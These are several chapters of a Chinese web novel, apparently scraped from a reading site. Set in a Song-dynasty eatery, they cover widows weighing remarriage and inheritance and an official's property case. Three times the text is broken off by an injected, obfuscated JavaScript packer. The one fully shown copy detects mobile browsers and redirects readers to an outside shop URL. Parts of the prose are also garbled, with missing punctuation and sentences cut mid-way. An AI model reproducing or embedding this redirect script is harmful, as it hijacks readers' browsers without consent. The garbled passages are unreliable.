烤好的白鱼夹在铁制烧烤架中烤架给鱼皮烙下了整齐的格子让沈娥的食欲再也按捺不住了 鱼皮在火焰上炙烤过之后外面鱼皮已经变成了褐色还起了小小的泡泡“滋滋”发出了让人心旷神怡的声响。 沈娥凑近去闻还能闻到淡淡的醋味 杜月娘用筷头拨了拨焦脆的外皮碎裂发出“窸窸窣窣”的脆响一股乳白色的热气从外皮断裂口散发出来冲到脸上热热的。 外皮断裂开下面露出的鱼肉带着浅浅粉褐色一看就熟透了。 杜月娘加一块放进嘴里脆脆的鱼皮带着炭火独有的香气外脆里嫩里面的鱼肉绵软蒜瓣肉几乎能分离开来是能吃出来的新鲜还能吃出这鱼肉经过各种酱料涂抹很是入味。 这道菜简直惊艳至极。这回连杜月娘都说不出口了只顾着吃菜。 一顿饭吃完沈娥摸了摸肚子很是满足:“好吃吧?姐姐明天我们再来这家店来吃一顿如何?” “我……不想来。”杜月娘看了看越来越多的食客到底还是开口。 沈娥知道她从前被公婆闹怕了也不勉强她:“那好。 不来便是。时日还长,她总能慢慢帮姐姐把这件事纠正过来。 结果第二天沈娥到了店里,就看见了坐在餐桌前乖乖等待叶盏炒面的杜月娘。 沈娥:…… 杜月娘:…… 杜月娘也看见了沈娥,四目相对,她脸颊慢慢腾起了微微红云。 随后咳嗽一声,想要解释。 “算了,别解释了,省得浪费口舌。这鱼给我也来一份。沈娥笑嘻嘻坐到了杜月娘身边。 想了想,她又促狭捏捏姐姐的胳膊,冲叶盏喊:“二姐,给我们这桌上一个烤鸭子嘴!烤得硬硬的! & 慢慢叶家人就知道了,原来杜月娘公婆管教她很严格,又拉又打,杜月娘娘家没人了,她嫁过来时没什么嫁妆,再嫁也寻不到什么好人家。 加之她又舍不得自己和丈夫曾灌注心血的生意,便只能跟公婆周旋。 因此叶家人对杜月娘也多几分同情,对她一开始那天的怪癖都表示了理解。 自此这两结拜姐妹就常结伴来店里吃饭,有时候吐槽下生意难做,有时候发愁杜月娘公婆又要管着她,还有时候跟宓凤娘拉拉家常,开几句荤话玩笑。 沈娥这几天也不知道有什么心事,常常点一份烤猪蛋,又端着一杯羊酒,看着炙烤鱼烤猪蛋时候腾起的火红的小火苗一个劲发呆。 宓凤娘馋那一缕酒香,凑过去想聊两句蹭一杯酒。 刚想挪步,就听得叶盏咳嗽一声。 宓凤娘抬起头,就看见叶盏严厉的眼神,她无奈笑笑,端起料酒给自己倒了小半盏,一仰头一饮而尽:“解解馋。 玉姐儿则在调制酱料,她有时间就跟着叶盏学习做菜。只不过不知道在想什么,调配的酱料少了东西。 “刷的酱料怎么不加酱油?叶盏赶紧提醒她,“这醋炙白鱼外皮刷的蘸料要加酱油才入味。 “赵小七跟我讲以后不要吃酱油,他说酱油缸上浮着一层虫呢。玉姐儿小声在叶盏跟前讲,“妹妹,不如我们店里的菜以后都不要加酱油了吧?醋也不要了。 叶盏好笑:“那是不讲究洁净的人做出来才会那样,我寻常打油打醋的两户人家都是干净的,我特意选了干净的。 “你若是担心,我们自己 家做酱油、酿醋便是。”叶盏想想,以后有空时还真能做酱油酿醋,反正都是粮食发酵,她自己做出来也能保证更香。 想了想又不对:“对了,你怎么又跟赵小七说话?他不是去读书吗?”这孩子当初受了刺激,立誓要读书读出个名堂,上了寄宿制学堂,怎么又来找玉姐儿。 “上次娘不是说赵夫人害喜害得厉害吗,就让把家常腌瓜秸送些过去,碰上赵小七休沐回来说了两句,他叫我不要乱吃酱油,说他见过外面的酱油不干净。”玉姐儿一边调酱一边念念叨叨。 叶盏好笑,这都哪跟哪儿啊?还当赵小七遇见玉姐儿要说什么“等我高中来娶你”之类的甜蜜悄悄话,结果叮嘱一个“不要吃酱油”这类长辈喜欢往“相亲相爱一家人”群里发的今日头条体新闻。 叶盏背着娘偷偷笑,忽然想起一句:“不对啊,他怎么知道你乱吃酱油?” 她忽然想起上次在家里做三和菜时,玉姐儿馋得受不了先去拿小碗喝酱油的事情。 莫非是赵小七看见了? “不会吧。谁每日里不吃酱油啊?”玉姐儿压根儿没留意这件事,又问“今日切云梦把儿肉腊时能不能多切一片给我尝尝?” 云梦把儿肉腊是闵穆从湖广寄过来的第二波特产,叶大富终于动身前往了湖广,他随身带了些吃食铺盖,跟着闵家管事,又有闵家的旗号在外,一路上传来的信倒是很安全。 “闵公子倒是不错,每回送来的都是吃食。上次送来的白糖薄脆我吃了半盒,都舍不得再吃了,也不知道能不能续到他下次送吃食来?”玉姐儿念叨。 姐妹俩一边闲聊,手里的活计却没听,很快烤鱼和猪蛋都在炭火上滋滋开烤。 沈娥看着烤架上冒出的袅袅青眼,幽幽叹了口气。 这是她进店以来第五次叹气。 杜月娘也跟着叹了口气。 宓凤娘奇道:“你这两位妹子有什么不痛快的?就说沈妹子,你家里开着两家生药铺子,丈夫不在,坐拥家产,是多少女人求都求不来的上等赏心悦事,怎么在店里喝闷酒?” 想了想赶紧双手合十对路过神佛祈祷:“漫天神佛,小的不是死老公那个意思,我那口子人不错,还望您保佑他旅途顺利,一帆风顺。” 又尴尬冲大 家补充:“相公是不错不想他有意外只不过 沈娥和杜月娘这种有过丈夫的齐齐点头深以为是。 沈娥将醋炙白鱼夹了又夹终于吞吞吐吐跟宓凤娘说出了心事:“我那个新近瞧中了一个劁猪匠。” 劁猪匠?大家面面相觑。 叶盏来大宋后觉得猪肉很香没有想象中的骚膻味后来才知道大宋的劁猪技术已经推广开来 劁呢就是嘎掉公猪和母猪的蛋或卵/巢阉割而不致死讲究的是技术 劁猪匠挑一个担走街串巷担子里放的是一套尖锐锋利的劁猪刀具算是他的吃饭家伙事靠手艺吃百家饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶盏将猪蛋剔除白色筋膜,先泡水,再用白酒泡,切了花刀大火爆炒。 加入紫苏、仔姜这样除腥良配,还要在锅边淋一圈白酒。 白酒遇上烈火热锅立刻开始燃烧,火红的火苗一窜老高, 宓凤娘看着火苗恍然大悟:“我说你好好女儿家,怎么想起吃这样壮阳的食材,原来有缘由。” 这也算是另一种“睹物思人”罢? “那人家,可喜欢你?”蓬蕊忽然发问。 “应当是吧,我遣了婢女去问过。”沈娥一贯风风火火,此时也红了脸。 叶盏拿着锅铲目瞪口呆,跟这些古人比起来她才是真古人呢。 “只不过,我公婆哪里会愿意呢?”沈娥越说越惋惜。 宓凤娘当即问脸红了的沈娥:“公婆能允许你随意使用沈家家财是看中你的才干还是更看重你给儿子守节?” “嗯?”沈娥没想到在这情情爱爱当口宓凤娘忽然问了这么烟火气的问题,便回答:“当初家里只有一个生药铺子,被夫婿经营得濒临关门,是我一手经营起来,又开了分店。” “既然这样你不如去试探下公婆,就说听了个故事,有寡妇认了公婆做亲生父母,从此公婆多个女儿,给女儿招赘,一家三口也有个顶立门户的男人照应。” 还能这样? 叶盏和几人面面相觑,都被宓凤娘跳跃的思维所震惊。 宓凤娘却不管那些:“他们当务之急是赶紧有个嗣子,不惜去外面过继一个没血缘的,倒不如找你这个相依为命过的,人品也值得信赖。等你以后生下孩子,跟你婆家姓氏,他们说 不定也愿意。 “你们三人也算是相依为命,有过去的情谊做底自然也能说出这话。倘若他们不愿意,这件事也在大家心里有了缝隙,不如你直接一拍两散。 “一拍两散?沈娥一惊讶,显然从未想过有这种答案。 “这有什么奇怪?寡妇再嫁不是再正常不过么?官府每半年还会寻我们这些媒婆问话,要我们多帮着寡妇再嫁呢。你既然有那样的经商才干,便是几嫁都没什么妨碍。宓凤娘快刀斩乱麻,几句话就将整件事说得清清楚楚。 沈娥一下就清醒过来,她夹了一筷子五味杏酪鹅,杏仁杏酱香气浓郁,沾染在鹅块上更添风味:“多谢姐姐,我去试探下,若是这事成了,我要给你送谢媒礼的。 “你是店里的熟客,谢媒礼就算了。宓凤娘笑眯眯,“回头给我送个猪肘做谢礼,再就是成婚时候让我去主持便好。 沈娥的事情解决了,杜月娘却也开口了。半天支支吾吾开口:“我新近也要收养嗣子,只不过总担心嗣子不孝顺。 这种事在民间屡见不鲜。 “这法子好解决。宓凤娘一拍大腿,“你的问题说到底是家财如何分配,您呀就别把自己当女子,把自己当个大员外,想想怎么制衡几个儿子又心甘情愿帮工又不敢捣乱。 “您的意思是? “别人都叫你过继男儿,你不如过继一个一男一女,等长大后若是继子对你不好你就说女儿家要招赘①。 随后要过继儿子跟赘婿两人竞争,他们能互相竞争,这样就无暇对你有谋害之心。 若是你看着两人都不甚中意,索性给两人些银钱打发了,就按照他们就是在你家打长工。 这三人并无损失,他们若没有你提携也就是在乡下做长工的命,反而因为有了你的过继还能让他们三个能过些锦衣玉食的日子。 “若是不行到时候你再招赘个男子,四个人竞争,即使没有一个人真心实意待你,但他们之间也能制衡。 作者有话要说 ①这个办法非原创,来自某古书真人真事,但忘了是哪位女豪杰了。 ②云梦把儿肉腊,来自宋《玉食批》 来啦,明晚九点见 第 57 章 长沙蒲鲊 第57章长沙蒲鲊 杜月娘脸上愁苦位置一扫:“多谢。解了我心中烦闷。 她最担心的便是过继来的儿子不孝顺,等到她年老体弱时难免被架空,运气不好些被嗣子折磨死也有可能。 但宓凤娘这法子一下就解决了她的燃眉之急, 两厢对比,先不说要招赘,观察嗣子人品,如果他从此自认为是唯一男丁,便出其不意提出要女儿招赘。 就算赘婿和嗣子都靠不住,自己还能再招赘个男人,再不行,叫三方互相制衡。 有了他们三方制衡,没人敢在账册上做手脚,也没人敢起歹心谋财害命,万一东窗事发那不是便宜了另外两个竞争对手吗? 杜月娘如梦初醒,沈娥如听,两人都沉吟了起来。 宓凤娘笑吟吟打包一份索唤①单子,将饭盒装进去,又把温盘放在最底下,上面撒了薄薄一层碎冰屑,确保外送过程中不会散了温度。 等将索唤单子送给专司送货的小厮后,才拍拍手转身进店,又启发杜月娘两句:“还有一招险棋,你想要嗣子,可你不是好端端一个能生育的大活人吗? “啊?杜月娘听明白了,但差点将筷头上的炙烤鱼落在地上,又不敢相信自己能听到这么过激的劝告。 沈娥赶紧环视四周,还好这会是下午午饭晚饭中间,店里客人稀少,她们这一圈没有人,不然传出去可就麻烦了。 杜月娘缓了缓震惊的心思:“您的意思是……她张口欲说,却不敢说出那个石破天惊的策略。 “我听说有人生了私生孩儿,往那善堂一送,到时候又去善堂领养,说是外面过继来的,其实是自己亲生孩子。宓凤娘仔细挑拣着手里的蔬菜,似乎不知道自己在说什么。 “啊……啊?啊……杜月娘脸上从疑惑到愕然到了悟,最后变成了感激:“多谢您的主意。 “我这没出什么主意,还得靠你自己图谋。宓凤娘摇摇头,“说起来你也是青春年少的,就像沈娘子一般寻觅个劁猪匠又有什么不可? 杜月娘瞪大眼,傻了眼:“啊?我?我比沈妹妹大七八岁呢。 “大七八岁又不是入土了。宓凤娘不当回事,“便是两位宰相 争夺一位寡妇都能争到朝堂上去②,你有什么不可?” 眼见两位寡妇被自己说得瞠目结舌,宓凤娘拍拍手,满意去洗鱼:“过几日菜单有长沙蒲鲊,听盏儿说是南边传来的做法呢。” 大鱼洗好后放进擦干净水分的大陶缸,叶盏便拿了一层粗盐,将鱼埋在盐中,连着腌制四五天,再拿出鱼和白米饭一起泡在清水里,等待盐和米饭发酵到微微发酸的地步。 等到长沙蒲鲊腌制好之后,沈娥带来一个好消息:“我公婆愿意认我为干女儿了。” 宓凤娘也跟着高兴:“老身少不了要走一趟,替你们俩保媒拉纤。” 叶盏这才知道宋朝的媒婆不是简单的拉郎配,还要涉及一些司法条文,掌握类似宋朝《婚姻法》的条文。 沈娥这单案件麻烦些,有两个问题:一是过继女的资产,二是寻常的嫁妆清单。 她既然认了原公婆古氏为爹娘,宓凤娘便牵头请了宗族、里正等人办了认亲仪式,还要去官府修改户籍,做好备案。 这时候沈娥成为了古氏的女儿,而且是女儿中地位最高的嗣女。 宋朝女儿分为在室女、归宗女、出嫁女、嗣女,每种情况可继承的财产完全不同,但都有对应的继承权,叶盏想起现代许多父母嫁女儿就给一床被子四件套做嫁妆的行为,再次觉得也不知道谁才是古人。 而且《宋刑统》里规定,养女和亲生女儿在宋朝具有完全平等的继承权。所以沈娥过继后对二老的财产具有了继承权。 古家跟沈娥多年相依为命,对她早就依仗如女儿一般,因此对招赘之事也决定大办。 没想到宓凤娘对这些法律条文头头是道。 “娘,您不识字,哪里会记下这么多条文?”叶盏好奇。 “靠脑子记啊。”宓凤娘不以为然,“你看你们兄妹那个不是脑子灵光、学东西很快,还不是随我?” 这倒是真的,家里兄弟姐妹虽然都没科举的,但各个脑子灵活。 “那……二哥呢?”叶璃的声音响起。 “银哥儿……”宓凤娘一时语塞,但很快就找到了原因,“他随你爹。” 银哥儿刚踏进房门,就听见有人在提及自己姓名:“娘,您找我?” 宓凤娘:…… 叶盏赶紧把话岔开:“二哥,尝尝这份腌梅。 宓凤娘最主要盯着财产,在最重要的“定贴 定贴要写明男方祖上三代姓名和职业,还有定亲的排行几,什么时候生,主婚的是哪位尊长。 叶盏看完这个后表示这定贴写得太过清楚,让古代言情剧许多错嫁的桥段都无法开展了。 劁猪匠的定贴上还写明了他带入女方的财产。他也算小有资产,有田产几亩,乡下房舍两间,还有个李子园。 在乡下也算殷实中农了,这样人家倒愿意为了沈娥入赘,可见对她用情倒深厚。 沈娥的定贴也差不多格式,写明了自己财产。 这是为了防止以后和离时候有纠纷。 其实还有一种法子,就是寡妇直接招接脚夫,沈娥继续以寡妇的身份招赘一个赘婿,赘婿承诺供养前夫留下的父母,便能得到部分财产继承权。③ 但宓凤娘打听到沈娥公婆还有宗族后,便劝沈娥打消了主意,宁可麻烦些成为承嗣女。 若不然等二老百年后宗族闹到了衙门,嗣女在判官那里的认可度比寡妇强。 沈娥对宓凤娘是心服口服:“往常只见您当垆打杂,还当您是万事不管的,谁知这里头门门道道全都清楚。 她找宓凤娘做媒纯粹是顺手的事,但没想到宓凤娘对宋律条文滴水不漏、对明规则之外微妙的人情世故了如指掌,帮她理清楚了最重要的奁产。 “我们媒人可不是单单靠张嘴拉郎配。宓凤娘得意洋洋,“彩云琉璃碎,有朝一日情爱消逝这嫁妆奁产才是最靠得住的。 说自己的婚姻有可能会消散,沈娥非但不生气,反而也跟着点点头:“情爱就像甜点心,吃一口为了消遣,但钱财就如正餐,牢牢守在手里,每日里离不了。 婚事进展顺利,沈娥顺利成婚,沈娥婚后就过得蜜里调油,夫婿很是体贴,有满膀子的力气使,又待她谦和有礼。 两人也算是举案齐眉。 沈娥特意遣了人给宓凤娘送了谢媒钱,还送了一份女娲娘娘的神像,说是庙里请来的。 宓凤娘将画像挂起来,摆上茶果点心:“女娲娘娘就是最早的媒神,我们做媒 人的都要拜会女娲娘娘的。 “怎得我们家里原来没有女娲娘娘?叶璃好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321543|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇问。 “在心里,在心里,心到神知。宓凤娘脸都不红一下,赶紧打岔,“长沙蒲鲊⑤做好啦。 杜月娘看着桌上的这盘长沙蒲鲊。 比起幸运的沈娥,杜月娘就没那么幸运了。 她公婆听说她要领养一男一女制衡的事情之后先是激烈发对,毕竟他们是保守人家,接受不了要领养个女儿并且给女儿招赘的事情:“今年过继丢一次脸,等十五年后招赘再丢一次脸,生怕人人不知道我家是绝户中的绝户? 杜月娘只能由着他们去,只不过她一直拖着这事没有过继。 如今沈娥正新婚燕尔,出来游玩的就变成她一人。 可是鱼肉的香气好香啊,扑鼻而来。 叶盏改良了这道菜,在发酵后又上锅蒸煮了一回,她到底不习惯吃生食。 因此长沙蒲鲊此时冒着腾腾热气,上面葱油的香气直勾人肚里的馋虫。 这让杜月娘愁闷的心情一散而空。 算了,好好吃饭。杜月娘下定了决心,筷子夹向了这盘长沙蒲鲊。 鱼肉的肉质是恰到好处的细嫩,经过腌制后柔嫩多汁。 粗盐保留了它的鲜美,此时蒜瓣肉分明,一看就知道当初腌制时选用的是最好的青鱼。 鱼肉微微发酸,这种发酵特有的酸味特别独特提味,让人闻见就立刻嘴里大量分泌口水,炎炎夏日没什么胃口,正好吃这鱼开胃。 鲜美的鱼肉格外嫩,入口即化,滋味适宜。 杜月娘吃了两口鱼又开始发呆。 她与那腌制的咸鱼有什么区别? 原本寡妇再嫁顺理成章,能留在他家是可怜二老,也是珍视与亡夫的感情,没想到二老居然把她当自己私产,处处管束。 杜月娘看了看盘里的鱼,想,不如……一走了之? 可财产怎么分? 按照宋朝的律法杜月娘可以拿走自己婚前的嫁妆,这点毋庸置疑。 要是丈夫还活着,两人和离她能分到家里一部分婚后财产。但是这丈夫死了这财产该怎么分就不好定夺了。 鱼肉冒着香气,大脑不由自主回忆起了刚才的美味,不由得她胡思乱 想。 管它呢。 杜月娘看了看盘里的鱼肉,这长沙蒲鲊腌制后都能再次炮制,她一个大活人为什么不能? 在自己都不知道的地方,她暗暗下定了决心。 吃完饭后杜月娘就请人写一张诉状告到了开封府,她要从婆家拿走一部分资产。 开封府司录参军主管“競田宅婚姻债负之类”的诉讼,接了这个案子。 作者有话要说 中午加更,晚上九点见 索唤①:宋代称呼外卖 ②:历史事实,宋朝两位宰相争一位寡妇,,当朝两位宰相向敏中、张齐贤争相相追求嫁妆两万缗的寡妇柴氏 ③:寡妇招赘的丈夫对于前面亡夫的继承权没有搜到具体史料支撑。 ④:《宋刑统》“今后户绝者,所有店宅、畜产、资财,营葬功德之外,有出嫁女者,三分给与一份,其余并入官。如有庄田,均与近亲承佃。如有出嫁亲女被出,及夫亡无子,并不曾分割得夫家财产入己,还归父母家,后户绝者,并同在室女例”。 ⑤长沙蒲鲊:《亲民要术》上的做法 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 58 章 酥儿印方 第58章酥儿印方 “你那公婆天天吓唬禁锢你,你就该这么干。”沈娥从隔壁买了一壶好酒,兴冲冲叫蓬蕊给自己斟酒,“当浮一大白。” 杜月娘发愁:“我这是与夫家貲产分割,只怕官府也不愿意判。” 的确,开封府里,司录参军事印鸣大人很头疼:“这可如何审理?” “寡妇再嫁理所当然,就是这财产不好分。” “若是有子还好些,还能将财产判给她儿子,成年前由这妇人保管便是。反正律法里也不许妇人和后来丈夫染指这财产,杜绝了他们谋害孩子的可能。” “这寡妇无儿无女,谁知道她是不是再嫁前卷走一笔夫家的资财?” 印大人受理了诉状,看见案卷就郁闷,他这个司录参军事的职位本来管辖范围就广,若是能做差科赋役、擅敛增税也罢了,偏偏连婚姻争讼这种事都来他案头。 这种民事诉讼里外不是人,败诉的那一方肯定会指着鼻子在背后骂他。 唉,若是判不好,只怕这背后又要被骂。 “先把这卷宗拿开,给我看擅敛增税的案卷。那个更重要些。”印大人吩咐下属改换案卷,说完后他肚子咕咕叫,忍不住看外面的日影,“瞧着要吃午膳了吧?” 他甚至起身探头想看见院子里的日晷,盼着能早点下衙。 “大人此言差矣,黎民百姓的嫁娶纠纷,虽然不比税赋徭役更合乎切身利益,但其烦扰起来,轻则让人忧心忡忡重则出人命。也不轻松。”裴昭在对面开口。 说得也是。 印大人心头也是肉做的,想想又拿起案卷琢磨:“这要分产,就得走访周围邻居和家里伙计、生意往来伙伴,知道这家里的财产有多少是前头亡夫留下的,有多少是寡妇自己经营起来的。” 一旦决定审理这个案件,他的思绪也渐渐变得沉静,开始认真思索需要的条文。 直到同僚们招呼他:“印大人,该用午膳了。” 印大人才回过神来:“原来到中午了。”他神伸懒腰,直起身来。 开封府诸位常去的老地方当然是叶二姐食肆。 印大人看着各式菜肴点菜:“吃什么好呢?” 想想 今天用脑很厉害,不如给自己补补:“那就来个坛子肉吧,再配一份米饭。” 裴昭在他旁边:“我……” 还没说完玉姐儿立刻开口:“您是不是要梅花汤饼?”她记得上次裴大人说自己点往常爱吃的口味,妹妹就给他上的梅花汤饼,裴大人看着很爱吃的样子。 说完后又赶紧推销:“我们这做梅花汤饼的梅花是闵家亲自腌制的,据说是闵侍郎家的祖传腌制梅花配方呢。” 没想到裴大人听完后选择了:“我也要坛子肉和米饭。” ? 玉姐儿纳闷,裴大人又不爱吃梅花汤饼了吗? 倒是印大人听见有梅花汤饼,点单:“那我加一份梅花汤饼。” 裴昭点完菜后,目光无端扫视了食肆一圈。 叶盏在一张桌前与两位食客说话。对方似乎是熟客,不知道说了什么笑话,叶盏笑得眉眼弯弯。 她没有酒窝,但笑起来两颊会有两个小小的梨涡,与平日里沉静的气息不符,多了一丝这个年龄小娘子该有的跳脱和活泼。 裴昭收回了目光,无端感觉很安心,这才挑了个位置坐了下来。 其余同僚也都跟着点了菜,开封府作为首都,在里面做官的官员背后非富即贵,原本天天吃那自助也不在话下。 只不过官场上人人都讲究藏拙,因此大家也不是每天都自助,反而是点菜的多。 坛子肉是早就做好的,所以上菜很快。 这道菜是一道鲁菜,虽然前期耗费功夫但做好后可以放在火上慢慢煨着,在客人点菜时直接上菜就好,节约时间,因此叶盏很喜欢做。 坛子肉是将调制好的猪肋条放入瓷坛内小火慢慢炖煮, 外皮红艳艳,上面浓厚的汁水滴下来,肉皮已经变成了红艳艳的讨喜颜色,看着就像一方琥珀。 汤汁里的水汽已经被炖煮挥发,因此很是浓厚,一口下去汁水厚得化不开,几乎像固体一般。 放在米饭上,一下就将雪白的米饭粒浸染透彻。 印大人看着筷头上的肉,颤巍巍在晃动,看着就很有弹性。 他送进嘴里,微微一用力,就赶紧坛子肉块都碎了,融化在嘴里,肥肉和瘦肉一并融化在一起。 好下米饭,印大人又挖了狠 狠一大勺米饭。 隔壁过去几个桌,沈娥正跟杜月娘还有叶盏商议官司的事呢。 “我请了诉师,据说这是城里打官司最厉害的讼师,应当没问题吧。杜月娘双手托腮,眉宇间还是有散不尽的担忧。 叶盏这时候才知道“讼师类似于后世的律师,他们在官府授权后的书铺里工作,专门等着城里要打官司的人去书铺里雇佣。 只不过请了讼师递交了诉状就算成功了,后面还有复杂的定案审讯过程呢。 “你那公婆又不傻,肯定也会请最好的讼师,你要做好防备。叶盏给她出主意。 “是啊。杜月娘是了解他们为人的,“他们宁可把那钱尽数给讼师,也不会给我一半,只怕这是根硬骨头,后面还有的磨呢。 杜月娘都快要愁死了,叹口气就把头埋到了双手中:“你们说,我若是输了官司,我公婆会不会倒诉我不孝? 沈娥也跟着发愁:“咱们平头小百姓,哪里知道这里头的门道。 她们做商人的,对官府有天生的敬畏,平日里最多在行老和中间人的帮助下给官员送送礼物,哪里敢多接触啊? 俗话说破家的县令,虽然说如今律法清明朝廷也爱护百姓,但这骨子里的敬畏还是让她们对官员敬而远之。 “有了。叶盏扫视店铺,忽然有了主意,“我们店里食客里有位开封府的大人,不如问问他这判案有什么流程。 “那位大人啊?杜月娘顺着叶盏的手指看见了裴昭,“看着似乎很严肃啊。 “就是,看着一副官吏的杀气。不过沈娥没忘记多评价一句,“长相倒是上乘。 “他是我们店里的常客,人很好说话的,问问吧,就算问不出来我们也不吃亏。 叶盏还是决定问问裴大人,店里的手套就是他送的呢,随身携带红色女士手套的男人应该不会拒人于千里之外吧。 裴昭和印大人吃完饭要走,忽然感觉有道目光正聚焦在自己身上。 他抬头,不知道为什么都没有刻意寻找,就直接看向了叶盏。 果然她也正在看自己,目光灼灼。 她这回没笑,梨涡消失了,但眼睛黑白分明,正踮着脚看他,一对会说话的眼睛似乎在询问他,四目相对, 她立刻会心一笑,冲自己招招手。 她一笑,裴昭无端觉得周围亮度忽然上升几度。他环顾四周。 确认是在叫自己时,心跳猛地停了一下,浑身的血有点热,耳尖也跟着发红。 但身体却没有任何迟疑停步下来,跟那些已经吃完饭的同僚招呼:“诸位先走,我有事逗留一会”。随后就朝着叶盏走了过去。 叶盏长话短说:“裴大人,这位小娘子正好有桩讼案,不知道您可知道这官府是如何判案的?” “噢。”裴昭应了一声。 心里头却无端有些失落,原来是找自己询问官府流程。 他正了正神,思索着这个问题,却忘了追问自己为什么会有一股失落,也忘了追问自己本来设想中叶盏唤住自己是为何? “官府的审讯分为情讯和刑讯,这案子还没到刑事犯罪的范围,因此不需刑讯。” 裴昭认真回答着这个问题。 只要这几人不涉及徇私枉法,只是询问流程,告诉她们也无妨,反正只要她们找个打过官司的人就能了解全程。 但若是徇私枉法,哪怕是叶盏开口,他也必不会多讲。 “主审核判官要在《宋刑统》中寻找与你们案件相关的法规,再要看诉状。” “之后便是草拟判词。审查无误后签押,算是表明有多名见证人,最后做出读判。” 问清楚流程后三人倒不是太紧张了:“看来也算是有凭有据。” 杜月娘回忆着:“讼师在写诉状时早就问过我,一笔一笔把这件事的来龙去脉,还有资产由我经营起家的事情都写进去了。” “那敢情好。”沈娥面露喜色,“那我们只要等着判官草拟判词就好。”她笑嘻嘻:“对了,我们可以去城里各大道观寺庙烧香祈求判官能是个公正的。” 裴昭摇摇头:“我建议你们请了他们族里的族老、生意行当里的行老佐证,这才能让众人心服口服。” “是啊。”杜月娘一下想起来,“我公婆肯定也有说辞,到时候双方各执一词,打起来怎么办?” 判官到时候面对两方颂词,到底听谁的? 她一下警惕起来:“我现在就去找讼师,再多加些证据进去。”越翔实越好。 叶盏也帮她出主意:" 你找找这几年的大额合同把每一笔往来背后的故事都写明了排成目录。" “每单生意都找到当时的买方卖方回忆是靠你怎么做成这笔生意的对方从未见过你公婆出面最好有买方买方的签字画押大家都有生意利益往来 裴昭意外看了叶盏一眼。 他没想到叶盏虽然只是区区一名食肆老板能立刻想出这么缜密的证据。 他作为一名刑名人员想到的无非是族老行老这样德高望重的证人叶盏却能想到更深一层由生意往来伙伴来佐证。 裴昭稍微一想就能保证只要这份翔实的册页一出杜月娘这官司就能打赢大半。 当然这也是因为叶盏本人也做生意的缘故对这里面的生意往来比裴昭更加熟悉但能这么迅速想到甚至还能做成整齐的册页目录可见她很聪明。 裴昭固然知道叶盏很聪明心灵手巧能做出那么多繁复的美食没点巧思肯定不成。 但他还是第一次这么直观感受到她的聪颖。一时说不出话来。 杜月娘连连点头此时已经无心再吃饭:“多谢两位我现在就去办。”说罢便带着沈娥匆匆走了。 她俩告别才将裴昭震醒他也赶紧行礼:“我该去衙门了。” 叶盏福上一礼:“多谢裴大人。对亏您解答困惑否则我们几个还在原地打转呢。” “算不得帮忙你去衙门里打听便是寻常官吏也会告诉你。”裴昭客客气气回答。 印大人回味了一下中午吃过的梅花汤饼。 味道清冽山间清泉、梅花淡香、鸡汤浓香种种滋味层次依次在舌尖铺开让人陷入一场悠长的舌尖盛宴。 绝啊! 真读书人就应该吃这样清淡雅致的吃食! 印大人看了一眼满案牍的公文忍不住喟叹:“归去来兮!” 何日才能归隐南山?带两个童儿抱一把琴在清泉古松下抚琴高歌吟诗作对想想就很惬意! 印大人顿时诗兴大发撕了一条废纸边挥墨写下“摘松酿雪饮携露缀云踪。④” 正在思索下半句“咚咚……咚!咚!咚!” 外头钟楼的报时钟声响起。 印大人叹口气将那 半句残诗卷起,藏在袖笼里,这才慢吞吞展开案卷,准备下午的办公。 看一下案卷,还要骂讼师:“这帮诉棍,巧舌如簧,仗着律法庇佑,一点点鸡毛蒜皮事情都拿来官府升堂,侵扰官员精力,害得我们没时间看真正的大案要案,当真可恶。 当今世上与他同样想法的官员不在少数。 后世人们才尊重起律师这个行当,可在如今世上,有部分官员还是极其厌恶憎恶讼师的。③ 一来就是印大人说的原因:那些讼师为了收取高额佣金,鸡毛蒜皮都怂恿雇主打官司,挤占司法资源,反而让真正需要帮助的人不得不耽搁。 二来嘛,有些官员有天生的傲慢:我寒窗苦读多年,天子门生,于万人中独木桥科举考中了科举,又授了官位,凭什么听一个讼师出来指正说哪条哪条条款更符合这个案子? 讼师们虽然学识不及官员,但他们就是吃这口饭的,因此天天对着律法钻研,哪个犄角旮旯处的条款说不定比官员们还要懂,处处挑战权威。 因此很引起官员厌恶。 印大人这抱怨一出,当即就有不少官员也跟着抱怨, 夏日午后,枯燥无味的工作让人昏昏欲睡,这时候随口骂两句无关大雅的人物,也算是活跃工作气氛了。 谁知裴昭倒轻咳一声:"印大人所言差矣。" “这话什么意思?印大人问。 鸣镝在窗外看得紧张,少爷干嘛要得罪人?幸好据他所知这印大人不是小肚鸡肠的,否则不是多了一个仇敌?又想想,这小事连自己都能看明白,少爷会不明白?想必他有自己的筹谋,因此便耐着性子看下去。 “大凡百姓来官府诉讼百事不懂,流程如何都不明了,这时候不也无端给我们官员增添了许多麻烦不是?裴昭神色清朗,“诸位是也不是? 这话也有共鸣,有人点头:“是了,什么都要问,有时候说了一遍还要说第二遍。 “这时候来个讼师,讼师天天往我们衙门里跑,他帮两眼一抹黑的百姓们找到门路,也方便我们行事是也不是? 大家都点头:这倒也是。 讼师固然可恶,但他们熟悉流程,对接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 